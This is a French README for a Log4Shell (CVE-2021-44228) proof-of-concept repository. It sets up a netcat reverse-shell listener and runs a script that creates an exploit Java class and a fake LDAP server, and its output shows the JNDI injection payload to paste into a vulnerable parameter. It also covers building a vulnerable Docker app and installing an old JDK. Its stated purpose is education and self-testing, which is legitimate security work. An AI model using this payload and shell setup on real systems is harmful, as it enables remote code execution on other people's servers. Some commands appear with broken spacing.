Une preuve de concept pour la vulnérabilité CVE-2021-44228 récemment découverte.
Récemment, une nouvelle vulnérabilité est apparue dans log4j, une bibliothèque de journalisation Java très largement utilisée dans Elasticsearch, Minecraft et bien d'autres.
Dans ce référentiel, vous trouverez un exemple d'application vulnérable et un exploit de preuve de concept (POC).
En tant que PoC, il existe un fichier python qui automatise le processus.
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
et se trouver dans le même répertoire. $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
Ce script configurera le serveur HTTP et le serveur LDAP pour vous, et créera également la charge utile que vous pourrez utiliser pour coller dans le paramètre vulnérable. Après cela, si tout s'est bien passé, vous devriez avoir un shell sur le lport.
Il existe un Dockerfile avec l'application Web vulnérable. Vous pouvez l'utiliser en suivant les étapes ci-dessous :
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
Une fois exécuté, vous pouvez y accéder sur localhost:8080
Heureusement, Oracle fournit une archive pour toutes les versions Java précédentes :
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Faites défiler jusqu'à 8u20
et téléchargez les fichiers appropriés pour votre système d'exploitation et votre matériel.
Remarque : Vous devez créer un compte pour pouvoir télécharger le package.
Une fois que vous avez téléchargé et extrait l'archive, vous pouvez trouver java
et quelques binaires associés dans jdk1.8.0_20/bin
.
Remarque : Assurez-vous d'extraire le dossier jdk dans ce référentiel portant le même nom pour qu'il fonctionne.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Ce référentiel n'est pas destiné à être un exploit en un clic pour CVE-2021-44228. Le but de ce projet est d'aider les gens à découvrir cette vulnérabilité, et peut-être à tester leurs propres applications (cependant, il existe de meilleures applications à cet effet, par exemple : https://log4shell.tools/).